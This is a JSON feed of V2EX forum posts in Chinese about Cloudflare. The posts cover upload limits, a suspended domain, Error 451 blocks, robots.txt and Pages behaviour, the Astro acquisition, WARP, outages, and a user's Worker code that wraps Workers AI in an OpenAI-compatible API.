{
  "version": "https://jsonfeed.org/version/1", 
  "title": "Cloudflare", 
  "description": "Cloudflare \u63d0\u4f9b\u5168\u7403 CDN \u548c Anti-DDoS \u670d\u52a1\u3002", 
  "home_page_url": "https://www.v2ex.com/go/cloudflare", 
  "feed_url": "https://www.v2ex.com/feed/cloudflare.json", 
  "icon": "https://cdn.v2ex.com/navatar/58c5/4802/1049_large.png?m=1633342159", 
  "favicon": "https://cdn.v2ex.com/navatar/58c5/4802/1049_normal.png?m=1633342159", 
  "items": [
    {
      "author": {
        "url": "https://www.v2ex.com/member/OwO233", 
        "name": "OwO233", 
        "avatar": "https://cdn.v2ex.com/avatar/818a/b403/502639_large.png?m=1760049485"
      }, 
      "url": "https://www.v2ex.com/t/1203608", 
      "date_modified": "2026-04-06T08:36:34+00:00", 
      "content_html": "<p>\u6211\u60f3\u8981\u7528 openlist \u6765\u4e0a\u4f20\u548c\u4e0b\u8f7d\u6211\u4e91\u76d8\u91cc\u7684\u4e00\u4e9b\u4e1c\u897f\uff0c\u4f46\u662f cloudflare \u9650\u5236\u5ba2\u6237\u7aef\u4e0a\u4f20\u5927\u5c0f\u6700\u591a\u4e3a 100M \uff0copenlist \u6ca1\u6709\u5207\u7247\u4e0a\u4f20\u8fd9\u79cd\u529f\u80fd\u3002\u6211\u539f\u5148\u8bbe\u60f3\u53bb cf \u8bbe\u7f6e\u7f13\u5b58\u89c4\u5219\uff0c\u8ba9\u4e0a\u4f20\u4e0d\u8d70 cf \u7684\u7f13\u5b58\uff0c\u53ef\u662f\u8fd8\u662f\u6ca1\u7528\uff0c\u8bf7\u95ee\u6709\u4ec0\u4e48\u5176\u4ed6\u89e3\u51b3\u65b9\u6848\u5417\uff1f\u6211\u9700\u8981\u8ba9 openlist \u8d70\u57df\u540d\u4e14\u4e0d\u80fd\u5173\u95ed CDN \u3002</p>\n", 
      "date_published": "2026-04-05T02:00:17+00:00", 
      "title": "\u4e3a\u4ec0\u4e48\u5df2\u7ecf\u628a cloudflare \u4e0a\u7684 Cache Rules \u8bbe\u7f6e\u4e3a\u7ed5\u8fc7\u7f13\u5b58\uff0c\u8fd8\u662f\u4f1a\u88ab\u9650\u5236\u4e0a\u4f20\u5927\u5c0f\uff1f", 
      "id": "https://www.v2ex.com/t/1203608"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/bxb100", 
        "name": "bxb100", 
        "avatar": "https://cdn.v2ex.com/avatar/5f39/34ee/80678_large.png?m=1774171047"
      }, 
      "url": "https://www.v2ex.com/t/1200168", 
      "title": "vibe \u4e86\u4e00\u4e2a gotify/server \u7684 cloudflare worker \u7248\u672c", 
      "id": "https://www.v2ex.com/t/1200168", 
      "date_published": "2026-03-22T09:19:10+00:00", 
      "content_html": "<p><a href=\"https://github.com/bxb100/gotify-server-worker\" rel=\"nofollow\">https://github.com/bxb100/gotify-server-worker</a></p>\n<p>\u6709\u5174\u8da3\u7684\u540c\u5b66\u53ef\u4ee5\u73a9\u4e00\u73a9, \u54c8\u54c8\u54c8</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/drealism", 
        "name": "drealism", 
        "avatar": "https://cdn.v2ex.com/avatar/2da6/22f5/538286_large.png?m=1774500973"
      }, 
      "url": "https://www.v2ex.com/t/1199779", 
      "date_modified": "2026-03-20T04:45:55+00:00", 
      "content_html": "<p>\u6211(\u5b50)\u57df\u540d\u5168\u89e3\u6790\u5230\u5185\u7f51 <code>172.30</code> \u6bb5\u7684\uff0c\u914d\u642d caddy \u505a tls \uff0c\u4eca\u5929\u7a81\u7136\u5168\u90e8\u88ab\u62e6\u622a\u4e86\u3002</p>\n<blockquote>\n<p>The registrar services for this domain havebeen suspended by Cloudflare for a Terms ofService violation.</p>\n</blockquote>\n<p>\u5927\u4f6c\u4eec\u77e5\u9053\u6709\u5565\u529e\u6cd5\u6062\u590d\u4e48\ud83d\ude25, \u7f51\u7ad9\u4e0a\u8fde\u4e2a\u5ba2\u6237\u901a\u9053\u90fd\u6ca1</p>\n", 
      "date_published": "2026-03-20T04:44:53+00:00", 
      "title": "\u6c42\u52a9: cf \u4e0a\u9762\u7684\u57df\u540d\u88ab\u5c01\u4e86", 
      "id": "https://www.v2ex.com/t/1199779"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/zhusheng8701", 
        "name": "zhusheng8701", 
        "avatar": "https://cdn.v2ex.com/gravatar/6fd17c6de703212491517b489b165b60?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1190065", 
      "date_modified": "2026-02-02T03:38:04+00:00", 
      "content_html": "<p>\u56e0\u6cd5\u5f8b\u539f\u56e0\u6682\u4e0d\u53ef\u7528\n\u600e\u4e48\u64cd\u4f5c\uff0c\u6709\u5176\u4ed6 CDN \u5382\u5546\u5417\uff1f\u53ef\u5c0f\u91cf\u6536\u8d39</p>\n<p>\u4ec5\u90e8\u5206\u9875\u9762\uff0c\u5982 test.php?id=xxx \u88ab\u5c4f\u853d\uff0c\u4f46 page.php?id=xxx \u6ca1\u88ab\u5c4f\u853d</p>\n", 
      "date_published": "2026-02-02T03:33:07+00:00", 
      "title": "\u88ab CF \u62e6\u622a\u4e86\u90e8\u5206\u9875\u9762\uff0c Error 451 \u9519\u8bef", 
      "id": "https://www.v2ex.com/t/1190065"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/LANCDN", 
        "name": "LANCDN", 
        "avatar": "https://cdn.v2ex.com/gravatar/4b3211410aba9272eab7e82af10248e1?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1189139", 
      "title": "CF \u7684 ai \u53cd\u722c robots.txt \u4f3c\u4e4e\u90e8\u5206\u60c5\u51b5\u4e0b\u8ddf Pages \u673a\u5236\u51b2\u7a81\uff1f", 
      "id": "https://www.v2ex.com/t/1189139", 
      "date_published": "2026-01-28T14:48:30+00:00", 
      "content_html": "<h2>\u89e6\u53d1\u6761\u4ef6</h2>\n<ul>\n<li>Pages \u6709\u4e00\u4e2a\u6839\u57df\u540d\uff08\u4e8c\u7ea7\u57df\u540d\u597d\u50cf\u6ca1\u8fd9\u95ee\u9898\uff09\u7684\u81ea\u5b9a\u4e49\u57df</li>\n<li>\u90e8\u7f72\u7684 Pages \u91cc\u6ca1\u6709 <code>404.html</code>\uff0c\u6709\u6b63\u5e38\u7684 <code>index.html</code></li>\n<li>\u4eea\u8868\u677f\u7684 AI Crawl Control =&gt; Robots.txt =&gt; Cloudflare managed \u5f00\u7740</li>\n</ul>\n<h2>\u73b0\u8c61</h2>\n<ul>\n<li>\u624b\u52a8\u8bbf\u95ee <code><a href=\"http://xxx.com/robots.txt\" rel=\"nofollow\">xxx.com/robots.txt</a></code> \u7684\u65f6\u5019 <code>index.html</code> \u7684\u6587\u4ef6\u5185\u5bb9\u4f1a\u51fa\u73b0\u5728 CF \u7684 robots.txt \u6a21\u677f\u4e0b\u9762\uff0c\u611f\u89c9\u50cf Pages \u9ed8\u8ba4\u56de\u843d\u7684\u903b\u8f91\u4e5f\u8ddf\u7740\u6267\u884c\u4e86\u3002\u5927\u6982\u5c31\u50cf\u8fd9\u6837\uff1a</li>\n</ul>\n<pre><code># As a condition of accessing this website, you agree to abide by the following\n# content signals:\n\n...\n\n# BEGIN Cloudflare Managed content\n\nUser-agent: *\nContent-Signal: search=yes,ai-train=no\nAllow: /\n\n...\n\n# END Cloudflare Managed Content\n\n&lt;!DOCTYPE html&gt;\n&lt;html lang=\"zh\"&gt;\n\t...\n&lt;/html&gt;\n</code></pre>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/UnluckyNinja", 
        "name": "UnluckyNinja", 
        "avatar": "https://cdn.v2ex.com/avatar/f838/653d/25761_large.png?m=1749754460"
      }, 
      "url": "https://www.v2ex.com/t/1186541", 
      "date_modified": "2026-01-20T00:53:32+00:00", 
      "content_html": "Astro \u7684\u516c\u544a<br /><a target=\"_blank\" href=\"https://astro.build/blog/joining-cloudflare/\" rel=\"nofollow noopener\">https://astro.build/blog/joining-cloudflare/</a><br /><br />Cloudflare \u7684\u516c\u544a<br /><a target=\"_blank\" href=\"https://blog.cloudflare.com/astro-joins-cloudflare/\" rel=\"nofollow noopener\">https://blog.cloudflare.com/astro-joins-cloudflare/</a>", 
      "date_published": "2026-01-18T03:17:23+00:00", 
      "title": "Cloudflare \u6536\u8d2d\u4e86 Astro", 
      "id": "https://www.v2ex.com/t/1186541"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/liyafe1997", 
        "name": "liyafe1997", 
        "avatar": "https://cdn.v2ex.com/avatar/524e/7d08/32249_large.png?m=1764082065"
      }, 
      "url": "https://www.v2ex.com/t/1184375", 
      "date_modified": "2026-01-09T20:24:40+00:00", 
      "content_html": "<p>\u8bd5\u4e86\u79fb\u52a8\u8054\u901a\u7535\u4fe1\u4e09\u5bb6\u7684\u7f51\u7edc\uff0c\u90fd\u662f\u4e00\u6837\u7684\u7ed3\u679c\uff0cWindows \u548c Linux \u7684\u5ba2\u6237\u7aef\u80fd\u76f4\u8fde\uff08\u5747\u66f4\u65b0\u5230\u6700\u65b0\u7248\u5ba2\u6237\u7aef\uff0c\u9ed8\u8ba4\u8bbe\u7f6e\uff0c\u6ca1\u505a\u4efb\u4f55\u7279\u6b8a\u914d\u7f6e\uff09\uff0c\u800c\u4e14\u79d2\u8fde\uff0c\u8fde\u4e0a\u4e4b\u540e\u867d\u7136\u901f\u5ea6\u4e00\u822c\uff08\u5927\u7ea6\u4e0d\u5230 1MB/s \u5de6\u53f3\u7684\u901f\u7387\uff1f\uff09\uff0c\u4f46\u662f\u5f88\u7a33\u5b9a\uff0c\u6ca1\u6709\u65ad\u6d41\u5361\u987f\u8fc7\uff0c\u770b Youtube 2k60 \u89c6\u9891\u4e5f\u5f88\u6d41\u7545\u6ca1\u95ee\u9898\u3002</p>\n<p>\u4f46\u662f\u5728\u5b89\u5353\u624b\u673a\u4e0a\uff0c\u8bd5\u4e86\u591a\u90e8\u624b\u673a+\u4e09\u5bb6\u7684\u7f51\u7edc\uff0c\u6ca1\u6709\u4e00\u4e2a\u80fd\u8fde\u4e0a\u3002\u5728\u8bbe\u7f6e\u91cc\u9762\u6539\u534f\u8bae\u65e0\u8bba\u8bbe\u7f6e WireGuard \u8fd8\u662f masque \u90fd\u8fde\u4e0d\u4e0a\u3002</p>\n<p>\u8fd9\u662f\u4e3a\u4ec0\u4e48\u5462\uff1f\u96be\u9053\u5b89\u5353\u548c Windows/Linux \u5ba2\u6237\u7aef\u8fde\u63a5\u7684\u670d\u52a1\u5668\u4e0d\u540c\u8fd8\u662f\u534f\u8bae\u4e0d\u540c\uff1f</p>\n", 
      "date_published": "2026-01-09T20:24:25+00:00", 
      "title": "\u6700\u8fd1\u53d1\u73b0 CF WARP \u5728 Win & Linux \u4e0a\u56fd\u5185\u80fd\u76f4\u8fde\uff0c\u5b89\u5353\u4e0d\u884c", 
      "id": "https://www.v2ex.com/t/1184375"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/CSGO", 
        "name": "CSGO", 
        "avatar": "https://cdn.v2ex.com/avatar/ef71/2edc/315449_large.png?m=1757663072"
      }, 
      "url": "https://www.v2ex.com/t/1183205", 
      "date_modified": "2026-01-06T00:50:55+00:00", 
      "content_html": "<a target=\"_blank\" href=\"https://radar.cloudflare.com/zh-cn/year-in-review/2025#internet-services\" rel=\"nofollow noopener\">https://radar.cloudflare.com/zh-cn/year-in-review/2025#internet-services</a><br /><br />\u9876\u90e8\u53ef\u4ee5\u5207\u6362\u5730\u533a\uff0c\u8fd9\u4e2a\u662f\u4e2d\u56fd\u5927\u9646\u7684\uff0c\u6bd4\u5982\u91cc\u9762\u6709\u4e2a\u641c\u7d22\u5f15\u64ce\uff0c\u552f\u72ec macos \u7cfb\u7edf\u4e0b\uff0cGoogle \u80fd\u591f\u8d85\u8fc7 baidu \u3002<br /><a target=\"_blank\" href=\"https://radar.cloudflare.com/zh-cn/year-in-review/2025/cn\" rel=\"nofollow noopener\">https://radar.cloudflare.com/zh-cn/year-in-review/2025/cn</a>", 
      "date_published": "2026-01-05T05:37:45+00:00", 
      "title": "Cloudflare Radar\u300a2025 \u5e74\u5ea6\u56de\u987e\u300b\uff0c\u633a\u6709\u610f\u601d", 
      "id": "https://www.v2ex.com/t/1183205"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/cfer", 
        "name": "cfer", 
        "avatar": "https://cdn.v2ex.com/avatar/7709/0162/722526_large.png?m=1775200050"
      }, 
      "url": "https://www.v2ex.com/t/1180851", 
      "date_modified": "2025-12-25T23:29:12+00:00", 
      "content_html": "<p>\u6211\u4f7f\u7528 workers + worker Ai \u6784\u5efa\u4e86\u4e00\u4e2a\u517c\u5bb9 openai \u63a5\u53e3\u7684\u9002\u914d\u5668\u3002\u4f46\u662f\u53ea\u662f\u5b9e\u73b0\u4e86\u57fa\u672c\u529f\u80fd\uff0c\u73b0\u5728\u9700\u8981\u5b8c\u5584\u5de5\u5177\u8c03\u7528\u529f\u80fd\u3002\u6709\u5927\u4f6c\u80fd\u5e2e\u6211\u5b8c\u5584\u5b83\u561b\uff1f</p>\n<pre><code>export default {\n  async fetch(request, env, ctx) {\n    // \u5904\u7406 CORS \u9884\u68c0\u8bf7\u6c42\n    if (request.method === 'OPTIONS') {\n      return new Response(null, {\n        status: 200,\n        headers: {\n          'Access-Control-Allow-Origin': '*',\n          'Access-Control-Allow-Methods': 'GET, POST, OPTIONS',\n          'Access-Control-Allow-Headers': 'Content-Type, Authorization',\n          'Access-Control-Max-Age': '86400',\n        },\n      });\n    }\n\n    // \u9a8c\u8bc1 API Key\n    const authHeader = request.headers.get('Authorization');\n    if (!authHeader || !authHeader.startsWith('Bearer ')) {\n      return new Response(JSON.stringify({\n        error: { message: 'API key required', type: 'invalid_request_error', code: 'invalid_api_key' }\n      }), { status: 401, headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } });\n    }\n\n    const apiKey = authHeader.substring(7);\n    const validApiKeys = env.VALID_API_KEYS ? env.VALID_API_KEYS.split(',') : ['your-api-key-here'];\n    if (!validApiKeys.includes(apiKey)) {\n      return new Response(JSON.stringify({\n        error: { message: 'Invalid API key', type: 'invalid_request_error', code: 'invalid_api_key' }\n      }), { status: 401, headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } });\n    }\n\n    const url = new URL(request.url);\n\n    // \u6a21\u578b\u6620\u5c04\n    const modelMap = {\n      'deepseek-r1': '@cf/deepseek-ai/deepseek-r1-distill-qwen-32b',\n      'gpt-oss-120b': '@cf/openai/gpt-oss-120b',\n      'gpt-oss-20b': '@cf/openai/gpt-oss-20b',\n      'llama-4-scout': '@cf/meta/llama-4-scout-17b-16e-instruct',\n      'qwen32b': '@cf/qwen/qwq-32b',\n      'gemma-3': '@cf/google/gemma-3-12b-it',\n      'qwen3-embedding-0.6b': '@cf/qwen/qwen3-embedding-0.6b'\n    };\n\n    // \u804a\u5929\u63a5\u53e3\n    if (url.pathname === '/v1/chat/completions' &amp;&amp; request.method === 'POST') {\n      try {\n        const body = await request.json();\n        if (!body.messages || !Array.isArray(body.messages)) {\n          return new Response(JSON.stringify({\n            error: { message: 'Messages must be an array', type: 'invalid_request_error', code: 'invalid_parameter' }\n          }), { status: 400, headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } });\n        }\n\n        const model = body.model || 'deepseek-r1';\n        const cfModel = modelMap[model];\n        if (!cfModel) {\n          return new Response(JSON.stringify({\n            error: { message: `Model '${model}' not supported`, type: 'invalid_request_error', code: 'model_not_found' }\n          }), { status: 400, headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } });\n        }\n\n        // \u6784\u9020 AI \u8bf7\u6c42\u53c2\u6570\n        let aiRequest = {};\n        let useResponsesAPI = cfModel.startsWith('@cf/openai/gpt-oss');\n\n        if (useResponsesAPI) {\n          // Responses API \u683c\u5f0f\n          const systemMsg = body.messages.find(m =&gt; m.role === 'system')?.content || \"You are a helpful assistant.\";\n          const userMsgs = body.messages.filter(m =&gt; m.role === 'user').map(m =&gt; m.content).join(\"\\n\");\n\n          aiRequest = {\n            input: userMsgs,\n            instructions: systemMsg,\n            temperature: body.temperature ?? 0.7,\n            top_p: body.top_p ?? 0.9,\n            max_tokens: body.max_tokens ?? 2048,\n            reasoning: body.reasoning ?? { effort: \"medium\" }\n          };\n        } else {\n          // \u65e7\u6a21\u578b\uff1a\u62fc\u63a5 prompt\n          let prompt = '';\n          for (const message of body.messages) {\n            if (message.role === 'system') prompt += `System: ${message.content}\\n\\n`;\n            if (message.role === 'user') prompt += `User: ${message.content}\\n\\n`;\n            if (message.role === 'assistant') prompt += `Assistant: ${message.content}\\n\\n`;\n          }\n          prompt += 'Assistant: ';\n\n          aiRequest = {\n            prompt,\n            temperature: body.temperature ?? 0.7,\n            top_p: body.top_p ?? 0.9,\n            max_tokens: body.max_tokens ?? 4096,\n          };\n        }\n\n        // \u8c03\u7528 Cloudflare AI\n        const response = await env.AI.run(cfModel, aiRequest);\n\n        const completionId = 'chatcmpl-' + Math.random().toString(36).substring(2, 15);\n        const timestamp = Math.floor(Date.now() / 1000);\n\n        // \u83b7\u53d6\u6700\u7ec8\u56de\u7b54\u5185\u5bb9\n        let assistantContent = \"\";\n        if (useResponsesAPI) {\n          if (response.output &amp;&amp; Array.isArray(response.output)) {\n            assistantContent = response.output\n              .flatMap(msg =&gt; msg.content\n                .filter(c =&gt; c.type === \"output_text\")\n                .map(c =&gt; c.text)\n              )\n              .join(\"\\n\");\n          }\n        } else {\n          assistantContent = response.response ?? \"\";\n        }\n        \n\n        // \u6d41\u5f0f\u8f93\u51fa\n        if (body.stream) {\n          const encoder = new TextEncoder();\n          const stream = new ReadableStream({\n            start(controller) {\n              // \u5f00\u59cb\u4e8b\u4ef6\n              controller.enqueue(encoder.encode(`data: ${JSON.stringify({\n                id: completionId,\n                object: 'chat.completion.chunk',\n                created: timestamp,\n                model,\n                choices: [{ index: 0, delta: { role: 'assistant', content: \"\" }, finish_reason: null }]\n              })}\\n\\n`));\n\n              // \u6a21\u62df\u9010\u5757\u8f93\u51fa\n              const chunkSize = 20;\n              for (let i = 0; i &lt; assistantContent.length; i += chunkSize) {\n                const chunk = assistantContent.slice(i, i + chunkSize);\n                controller.enqueue(encoder.encode(`data: ${JSON.stringify({\n                  id: completionId,\n                  object: 'chat.completion.chunk',\n                  created: timestamp,\n                  model,\n                  choices: [{ index: 0, delta: { content: chunk }, finish_reason: null }]\n                })}\\n\\n`));\n              }\n\n              // \u7ed3\u675f\u4e8b\u4ef6\n              controller.enqueue(encoder.encode(`data: ${JSON.stringify({\n                id: completionId,\n                object: 'chat.completion.chunk',\n                created: timestamp,\n                model,\n                choices: [{ index: 0, delta: {}, finish_reason: 'stop' }]\n              })}\\n\\n`));\n              controller.enqueue(encoder.encode('data: [DONE]\\n\\n'));\n              controller.close();\n            }\n          });\n          return new Response(stream, {\n            headers: { 'Content-Type': 'text/event-stream', 'Cache-Control': 'no-cache', 'Connection': 'keep-alive', 'Access-Control-Allow-Origin': '*' },\n          });\n        }\n\n        // \u975e\u6d41\u5f0f\u8f93\u51fa\n        const chatCompletion = {\n          id: completionId,\n          object: 'chat.completion',\n          created: timestamp,\n          model,\n          choices: [{ index: 0, message: { role: 'assistant', content: assistantContent }, finish_reason: 'stop' }],\n          usage: {\n            prompt_tokens: Math.ceil(JSON.stringify(body.messages).length / 4),\n            completion_tokens: Math.ceil(assistantContent.length / 4),\n            total_tokens: Math.ceil((JSON.stringify(body.messages).length + assistantContent.length) / 4)\n          }\n        };\n        return new Response(JSON.stringify(chatCompletion), { headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } });\n\n      } catch (error) {\n        console.error('Error:', error);\n        return new Response(JSON.stringify({\n          error: { message: 'Internal server error', type: 'server_error', code: 'internal_error' }\n        }), { status: 500, headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } });\n      }\n    }\n    // \u5d4c\u5165\u6a21\u578b\n    if (url.pathname === '/v1/embeddings' &amp;&amp; request.method === 'POST') {\n      try {\n        const body = await request.json();\n        if (!body.input) {\n          return new Response(JSON.stringify({\n            error: { message: 'Input is required', type: 'invalid_request_error', code: 'invalid_parameter' }\n          }), { status: 400, headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } });\n        }\n    \n        const model = body.model;\n        const cfModel = modelMap[model];\n        if (!cfModel) {\n          return new Response(JSON.stringify({\n            error: { message: `Model '${model}' not supported`, type: 'invalid_request_error', code: 'model_not_found' }\n          }), { status: 400, headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } });\n        }\n    \n        // \u8c03\u7528 AI \u83b7\u53d6 embedding\n        let embeddingResponse;\n\n        // Responses API \u5047\u8bbe\u652f\u6301 embedding\n        embeddingResponse = await env.AI.run(cfModel, {\n          text: body.input\n        });\n        \n        // \u6784\u9020\u8fd4\u56de\n        const embedding = embeddingResponse.embedding || [0]; // \u5982\u679c\u8fd4\u56de\u683c\u5f0f\u4e0d\u540c\uff0c\u9700\u8981\u6839\u636e\u5b9e\u9645\u7ed3\u679c\u8c03\u6574\n        return new Response(JSON.stringify(embeddingResponse), { headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } });\n    \n      } catch (error) {\n        console.error('Embedding error:', error);\n        return new Response(JSON.stringify({\n          error: { message: 'Internal server error', type: 'server_error', code: 'internal_error' }\n        }), { status: 500, headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } });\n      }\n    }\n\n    // \u6a21\u578b\u5217\u8868\n    if (url.pathname === '/v1/models' &amp;&amp; request.method === 'GET') {\n      const models = Object.keys(modelMap).map(id =&gt; ({\n        id,\n        object: 'model',\n        created: Math.floor(Date.now() / 1000),\n        owned_by: 'cloudflare',\n        permission: [{ id: 'modelperm-' + id, object: 'model_permission', created: Math.floor(Date.now() / 1000), allow_create_engine: false, allow_sampling: true, allow_logprobs: false, allow_search_indices: false, allow_view: true, allow_fine_tuning: false, organization: '*', group: null, is_blocking: false }]\n      }));\n      return new Response(JSON.stringify({ object: 'list', data: models }), { headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } });\n    }\n\n    // \u5065\u5eb7\u68c0\u67e5\n    if (url.pathname === '/health' &amp;&amp; request.method === 'GET') {\n      return new Response(JSON.stringify({ status: 'healthy', timestamp: new Date().toISOString(), models: Object.keys(modelMap) }), { headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } });\n    }\n\n    // 404\n    return new Response(JSON.stringify({\n      error: { message: 'Not found', type: 'invalid_request_error', code: 'not_found' }\n    }), { status: 404, headers: { 'Content-Type': 'application/json', 'Access-Control-Allow-Origin': '*' } });\n  },\n};\n</code></pre>\n", 
      "date_published": "2025-12-24T02:56:23+00:00", 
      "title": "\u767d\u5ad6 worker AI \u7684\u8fdb", 
      "id": "https://www.v2ex.com/t/1180851"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/rosebush373", 
        "name": "rosebush373", 
        "avatar": "https://cdn.v2ex.com/gravatar/b085f045d8dc7ecf659191d1b6a2356a?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1180011", 
      "date_modified": "2025-12-20T02:53:51+00:00", 
      "content_html": "\u57df\u540d\u6ca1\u6709\u5173\u8054\u4efb\u4f55\u7f51\u7ad9", 
      "date_published": "2025-12-19T07:25:51+00:00", 
      "title": "\u521a\u6ce8\u518c\u7684\u65b0\u57df\u540d\u653e\u5230\u4e86 cloudflare \u4e00\u5468\u540e\u53d1\u73b0\u8bbf\u95ee\u91cf\u9010\u6e10\u589e\u52a0\uff0c\u662f\u722c\u866b\u5417", 
      "id": "https://www.v2ex.com/t/1180011"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/sdqdaq", 
        "name": "sdqdaq", 
        "avatar": "https://cdn.v2ex.com/avatar/e3d2/3b25/60114_large.png?m=1732847489"
      }, 
      "url": "https://www.v2ex.com/t/1179130", 
      "title": "\u5386\u65f6 20 \u591a\u5929\uff0c Cloudflare \u5f04\u4e22\u7684\u6570\u636e\u627e\u56de\u6765\u4e86", 
      "id": "https://www.v2ex.com/t/1179130", 
      "date_published": "2025-12-16T01:08:32+00:00", 
      "content_html": "<p>\u6211\u4eec\u7684\u4e00\u4e2a\u5c0f\u9879\u76ee\uff0c\u7528\u4e86 cloudflare \u7684\u4e00\u7cfb\u5217\u670d\u52a1\uff0c\u5176\u4e2d\u6570\u636e\u5b58\u50a8\u5728 Cloudflare D1 \u6570\u636e\u5e93\u3002</p>\n<p>2025 \u5e74 11 \u6708 25 \u65e5\uff0c\u7a81\u7136\u65e0\u8bba\u600e\u4e48\u6837\u90fd\u65e0\u6cd5\u8bbf\u95ee\u8fd9\u4e2a\u6570\u636e\u5e93\uff1a</p>\n<p>{ \"errors\": [ { \"code\": 7500, \"message\": \"internal error; reference = e_PVSMDp_20e3b898d5734270a0f3c8dce1640a\" } ], \"success\": false, \"messages\": [], \"result\": null } </p>\n<p>2025 \u5e74 11 \u6708 29 \u65e5\uff0c\u6536\u5230\u7b2c\u4e00\u6761\u6709\u4ef7\u503c\u7684\u90ae\u4ef6\u56de\u590d\uff1a</p>\n<p>I just wanted to let you know that we've raised this issue with our engineering team, and need to put this ticket on temporary hold until we have more info for you.\nRest assured we are currently working on your issue and will get back to you as soon as we have something to update.</p>\n<p>2025 \u5e74 12 \u6708 16 \u65e5\uff0c\u6062\u590d\u6b63\u5e38\ud83d\ude02\u3002</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/malagebidi", 
        "name": "malagebidi", 
        "avatar": "https://cdn.v2ex.com/avatar/7f84/1df2/78963_large.png?m=1770792064"
      }, 
      "url": "https://www.v2ex.com/t/1178273", 
      "title": "cloudflare worker \u76f4\u8fde\u8bbf\u95ee\u592a\u6162\u4e86\uff0c\u6c42\u4e2a\u66ff\u4ee3", 
      "id": "https://www.v2ex.com/t/1178273", 
      "date_published": "2025-12-11T06:44:55+00:00", 
      "content_html": "\u7528\u4e86\u4e00\u5468\u624d\u53d1\u73b0 <a target=\"_blank\" href=\"http://workers.dev\" rel=\"nofollow noopener\">workers.dev</a> \u57df\u540d\u662f\u88ab\u5899\u7684\uff0c\u7f51\u7ad9\uff08 React + React Router \uff09\u7ed1\u4e86\u81ea\u5b9a\u4e49\u57df\u540d\u540e\u76f4\u8fde\u901f\u5ea6\u4e5f\u4e0d\u592a\u597d\u3001\u591c\u95f4\u66f4\u662f\u7206\u70b8\u3002"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/wojiugaiming", 
        "name": "wojiugaiming", 
        "avatar": "https://cdn.v2ex.com/gravatar/fc712acd097d3a078d96616904a1ab46?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1177442", 
      "title": "\u96be\u9053\u6ca1\u4eba\u89c9\u5f97 cloudflare \u6539\u7248\u540e\uff0c\u5f88\u96be\u7528\u5417\uff1f", 
      "id": "https://www.v2ex.com/t/1177442", 
      "date_published": "2025-12-08T00:29:57+00:00", 
      "content_html": "<p>\u7279\u522b\u662f pages \uff0c\u6211\u90fd\u5feb\u627e\u4e0d\u5230\u90e8\u7f72\u5165\u53e3\u4e86\uff0c\u4e0d\u77e5\u9053\u4e3a\u5565\u7a81\u7136\u4e0d\u597d\u7528\u4e86\u3002\u3002\u3002</p>\n"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/pingdog", 
        "name": "pingdog", 
        "avatar": "https://cdn.v2ex.com/gravatar/80a77afb1761c378e3255001241a6f8b?s=73&d=retro"
      }, 
      "url": "https://www.v2ex.com/t/1177239", 
      "title": "Cloudflare \u53d1\u8868 12/5 \u7684\u6545\u969c\u62a5\u544a", 
      "id": "https://www.v2ex.com/t/1177239", 
      "date_published": "2025-12-05T20:12:09+00:00", 
      "content_html": "<a target=\"_blank\" href=\"https://blog.cloudflare.com/5-december-2025-outage/\" rel=\"nofollow noopener\">https://blog.cloudflare.com/5-december-2025-outage/</a><br /><br />\u4e0a\u4e2a\u6708\u7684\u6545\u969c\u90e8\u5206\u6258\u7ba1 FL1(nginx +lua)\u53d7\u5f71\u54cd<br />\u8fd9\u6b21\u5219\u6258\u7ba1\u5728 FL2(pingora)\u5b8c\u5168\u4e0d\u5f71\u54cd<br /><br />cloudflare / aws / azure \u6bcf\u6b21 incident report \u90fd\u5e26\u6709\u6280\u672f\u7ec6\u8282\uff0c\u4e0d\u906e\u63a9\uff0c\u975e\u5e38\u559c\u6b22<br /><br />\u626f\u5f00\u8bdd\u9898\uff1b FL1 \u8fed\u4ee3\u5341\u591a\u5e74\uff0c\u770b cloudflare \u8fd9\u6b21\u53d1\u51fa\u7684\u76d1\u63a7\u6570\u636e\uff0c\u8fd8\u5269 30%\u6d41\u91cf\u5728 FL1 \uff0c70%\u6d41\u91cf\u90fd\u5728 pingora \u4e0a\u4e86\uff0c\u9ad8\u5e76\u53d1\u8003\u9a8c\u5df2\u7ecf\u8fbe\u5230\u4e86\uff0c\u8fd1\u51e0\u5e74 nginx \u4e00\u4e9b\u6838\u5fc3\u5f00\u53d1\u8005\u548c F5 \u95f9\u7684\u4e0d\u6b22\uff0cpingora \u4f30\u8ba1\u8981\u548c nginx \u534a\u5206\u5929\u4e0b\u4e86"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/Jusekenny", 
        "name": "Jusekenny", 
        "avatar": "https://cdn.v2ex.com/avatar/2e45/b886/312404_large.png?m=1655795009"
      }, 
      "url": "https://www.v2ex.com/t/1177068", 
